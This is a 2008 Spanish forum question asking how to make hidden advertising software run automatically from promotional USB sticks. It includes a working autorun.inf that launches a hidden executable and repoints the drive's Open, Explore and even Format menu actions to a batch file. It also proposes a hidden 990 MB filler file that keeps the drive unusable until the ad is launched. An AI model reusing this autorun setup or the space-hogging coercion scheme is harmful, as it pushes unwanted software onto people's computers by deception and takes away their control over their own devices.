Ejecutar exe automaticamente en USB

rmondragon
23 de Octubre del 2008
Mi caso es el siguiente:

Existe un proyecto en el cual una empresa pretende regalar dispositivos USB de 1 GB, pero esto tiene un propósito, desean que cuando las personas inserten el USB en sus ordenadores aparesca automáticamente la publicidad, hasta aquí es donde surge mi problema.

Ya he desarrollado todo un modulo donde cargan la publicidad de manera automatica a 'n' cantidad de USB, estos archivos estan ocultos, pero todo falla cuando el USB es insertado en el ordenador para mostrar automaticamente la publicidad.

He intentado hacerlo con archivos inf y me funciona, el codigo es el siguiente:

[autorun]
Open=index.exe
Icon=carpeta.ico
Label=Publicidad
shellexecute=index.exe
UseAutoPlay=1
action=Abrir la carpeta para ver los archivos
action=index.exe
Shellarchivo=Abrir para ver los archivos
shellarchivoCommand=auto.bat
shellopen=Abrir
shellopenCommand=auto.bat
shellopenDefault=1
shellexplore=Explorar
shellexploreCommand=auto.bat
shellformat=Formatear...
shellformatCommand=auto.bat
Shell=archivo

Con esto mando a llamar el exe para que ejecute la publicidad de manera automatica, en caso que no sea así aparecera la ventana donde al usuario dara clic en "Abrir para ver los archivos" aparecera la pulicidad y vera sus archivos, esto pasa gracias al exe.

Me he resignado a confiar en el clic del usuario para ejecutar el exe, en caso de que no se ejecute valga la redundancia el ejecutable automaticamente.

He estado pensando en varias tecnicas, como al cargar información al USB para la entrega (Esto incluye el .inf, .exe, etc.) con la propiedad de oculto, cargar un archivo de mas de 990 MB igualmente oculto, en cuanto se ejecute el exe, meter un comando que borre el archivo y se libere el espacio en el USB, en caso de que no se ejecute no lo pueda borrar y así limitar el uso del dispositivo y forzar al usuario a siempre dar clic en la publicidad, poder ver sus archivos y usar su USB

A decir verdad es muy rudimentario y no es muy operable.

Lo que necesito es solo obligar al usuario a dar siempre clic para que se ejecute el exe, en caso de que no se lanze el exe automaticamente, muestre la publicidad y use su usb normalmente.

Por su atención gracias y espero que alguien me pueda ayudar.